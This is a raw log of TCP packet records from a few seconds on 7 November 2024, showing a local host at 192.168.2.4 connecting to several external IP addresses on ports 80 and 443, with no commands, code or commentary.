Nov 7, 2024 06:01:21.838272095 CET	443	49866	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:21.843254089 CET	49866	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:21.843375921 CET	49866	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:21.843406916 CET	443	49866	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:21.843504906 CET	49866	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:21.843518972 CET	443	49866	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:21.888448000 CET	443	49865	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.890326977 CET	49865	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.890383005 CET	443	49865	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.891015053 CET	49865	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.891021013 CET	443	49865	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.894877911 CET	443	49864	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.898086071 CET	49864	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.898109913 CET	443	49864	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:21.898469925 CET	49864	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:21.898474932 CET	443	49864	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.020734072 CET	443	49865	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.020807981 CET	443	49865	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.020884037 CET	49865	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.021161079 CET	49865	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.021188974 CET	443	49865	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.021202087 CET	49865	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.021205902 CET	443	49865	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.022425890 CET	443	49867	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.023969889 CET	49871	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.024034023 CET	443	49871	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.024319887 CET	49867	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.024336100 CET	443	49867	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.024363995 CET	49871	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.024539948 CET	49871	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.024554014 CET	443	49871	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.024820089 CET	49867	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.024825096 CET	443	49867	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.024974108 CET	443	49864	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.025027037 CET	443	49864	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.025135040 CET	49864	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.025181055 CET	49864	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.025197983 CET	443	49864	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.025221109 CET	49864	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.025226116 CET	443	49864	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.027517080 CET	49872	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.027542114 CET	443	49872	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.029985905 CET	49872	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.030131102 CET	49872	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.030143976 CET	443	49872	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.109687090 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.109702110 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.109714985 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.109772921 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:22.109803915 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.109816074 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.109826088 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:22.109827995 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.109841108 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.109847069 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:22.109854937 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:22.109879017 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:22.110321999 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.113908052 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:22.115173101 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:22.119940042 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.157367945 CET	443	49867	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.157412052 CET	443	49867	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.157469988 CET	443	49867	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.157490969 CET	49867	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.157529116 CET	49867	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.158061981 CET	49867	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.158085108 CET	443	49867	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.158096075 CET	49867	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.158099890 CET	443	49867	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.161045074 CET	49873	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.161102057 CET	443	49873	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.161190987 CET	49873	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.161575079 CET	49873	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.161590099 CET	443	49873	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.400902987 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.401038885 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:22.412247896 CET	443	49868	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.412863016 CET	49868	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.412889004 CET	443	49868	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.413378954 CET	49868	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.413383961 CET	443	49868	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.420721054 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:22.420769930 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:22.426708937 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.426851034 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.426867962 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.426997900 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.427015066 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.427148104 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.427164078 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:22.438271999 CET	443	49869	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.438829899 CET	49869	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.438888073 CET	443	49869	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.439299107 CET	49869	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.439308882 CET	443	49869	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.950498104 CET	80	49870	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:22.950535059 CET	443	49866	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:22.950542927 CET	443	49868	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.950589895 CET	443	49869	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.950603008 CET	443	49868	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.950620890 CET	443	49866	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:22.950659990 CET	443	49869	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.950690031 CET	80	49870	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:22.950776100 CET	49870	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:22.950855017 CET	49870	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:22.950860023 CET	49868	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.950865984 CET	49866	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:22.953819990 CET	49869	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.964723110 CET	49868	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.964737892 CET	443	49868	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.964750051 CET	49868	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.964756012 CET	443	49868	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.967570066 CET	49866	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:22.967590094 CET	443	49866	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:22.973722935 CET	49869	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.973742962 CET	443	49869	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:22.973757982 CET	49869	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:22.973762989 CET	443	49869	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.085048914 CET	443	49871	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.086796045 CET	443	49873	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.087496042 CET	443	49872	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.107981920 CET	49871	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.108005047 CET	443	49871	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.108100891 CET	49873	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.108115911 CET	443	49873	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.108484030 CET	49871	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.108490944 CET	443	49871	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.108602047 CET	49873	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.108607054 CET	443	49873	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.108882904 CET	49872	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.108906984 CET	443	49872	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.109235048 CET	49872	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.109241009 CET	443	49872	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.219983101 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:23.222726107 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:23.234208107 CET	443	49871	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.234289885 CET	443	49871	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.234366894 CET	49871	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.236536980 CET	443	49873	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.236599922 CET	443	49873	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.236663103 CET	49873	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.240178108 CET	443	49872	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.240206957 CET	443	49872	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.240253925 CET	443	49872	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.240268946 CET	49872	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.240288019 CET	49872	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.499339104 CET	49871	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.499367952 CET	443	49871	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.499412060 CET	49871	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.499418974 CET	443	49871	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.500670910 CET	49873	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.500694036 CET	443	49873	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.500729084 CET	49873	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.500734091 CET	443	49873	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.501441002 CET	49872	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.501463890 CET	443	49872	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.501477003 CET	49872	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.501482010 CET	443	49872	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.539710999 CET	49874	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.539736986 CET	443	49874	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.541929960 CET	49874	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.542884111 CET	49875	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.542910099 CET	443	49875	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.542974949 CET	49875	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.554877996 CET	49876	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.554900885 CET	443	49876	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.554986954 CET	49876	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.555035114 CET	49874	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.555051088 CET	443	49874	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.576711893 CET	49875	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.576725960 CET	443	49875	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.578412056 CET	49877	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.578459978 CET	443	49877	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.578520060 CET	49877	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.578694105 CET	49877	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.578702927 CET	443	49877	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.579103947 CET	49876	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.579121113 CET	443	49876	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.588977098 CET	49878	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.588988066 CET	443	49878	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.589061975 CET	49878	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.589170933 CET	49878	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:23.589179039 CET	443	49878	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:23.836389065 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:23.841265917 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:23.959321022 CET	49879	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:23.959362030 CET	443	49879	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:23.959587097 CET	49879	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:23.960014105 CET	49879	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:23.960026026 CET	443	49879	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:24.121264935 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.121293068 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.121304035 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.121315956 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.121330023 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.121382952 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.121437073 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.121541023 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.121555090 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.121567011 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.121591091 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.121598005 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.121611118 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.121618986 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.121648073 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.122318029 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.125755072 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.281259060 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.281279087 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.281291008 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.281299114 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.281393051 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.281435013 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.281475067 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.281481028 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.281506062 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.281512976 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.281521082 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.281533957 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.281542063 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.281569958 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.281712055 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.282138109 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.282150030 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.282160997 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.282180071 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.282191992 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.282212019 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.282234907 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.282934904 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.282947063 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.282958984 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.282974958 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.282985926 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.283006907 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.283030987 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.283744097 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.283761978 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.283773899 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.283782959 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.283798933 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.283807993 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.283849955 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.293308973 CET	443	49874	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.294243097 CET	49874	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.294270039 CET	443	49874	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.294781923 CET	49874	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.294786930 CET	443	49874	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.296183109 CET	443	49877	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.299216986 CET	443	49875	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.302066088 CET	49877	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.302099943 CET	443	49877	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.302587986 CET	49877	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.302594900 CET	443	49877	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.303442001 CET	49875	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.303456068 CET	443	49876	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.303463936 CET	443	49875	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.303839922 CET	49875	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.303845882 CET	443	49875	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.304112911 CET	49876	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.304133892 CET	443	49876	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.304457903 CET	49876	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.304464102 CET	443	49876	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.351284981 CET	443	49878	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.351989031 CET	49878	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.352013111 CET	443	49878	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.359383106 CET	49878	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.359389067 CET	443	49878	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.425093889 CET	443	49874	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.425126076 CET	443	49874	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.425184011 CET	443	49874	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.425230980 CET	49874	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.425262928 CET	49874	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.425903082 CET	443	49877	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.425987959 CET	443	49877	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.426042080 CET	49877	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.427731037 CET	443	49875	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.427901030 CET	443	49875	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.427964926 CET	49875	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.428852081 CET	49874	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.428868055 CET	443	49874	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.428879976 CET	49874	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.428884983 CET	443	49874	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.429032087 CET	49877	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.429063082 CET	443	49877	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.429080963 CET	49877	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.429089069 CET	443	49877	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.430680990 CET	49875	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.430696011 CET	443	49875	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.430710077 CET	49875	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.430715084 CET	443	49875	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.431634903 CET	443	49876	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.431664944 CET	443	49876	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.431725979 CET	443	49876	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.431725979 CET	49876	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.431773901 CET	49876	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.432285070 CET	49876	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.432296038 CET	443	49876	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.432322025 CET	49876	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.432327032 CET	443	49876	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.434058905 CET	49880	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.434096098 CET	443	49880	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.434163094 CET	49880	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.434602976 CET	49880	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.434619904 CET	443	49880	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.435873985 CET	49881	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.435918093 CET	443	49881	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.435971022 CET	49881	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.436091900 CET	49881	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.436105013 CET	443	49881	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.437088013 CET	49882	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.437098026 CET	443	49882	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.437150955 CET	49882	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.439702988 CET	49883	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.439740896 CET	443	49883	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.439801931 CET	49883	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.441489935 CET	49882	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.441500902 CET	443	49882	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.441932917 CET	49883	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.441937923 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.441951036 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.441956043 CET	443	49883	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.441962957 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.441998959 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.442002058 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.442011118 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.442027092 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.442049026 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.442245007 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.442255020 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.442303896 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.442334890 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.442343950 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.442379951 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.442542076 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.442553997 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.442564964 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.442575932 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.442588091 CET	80	49859	185.215.113.206	192.168.2.4
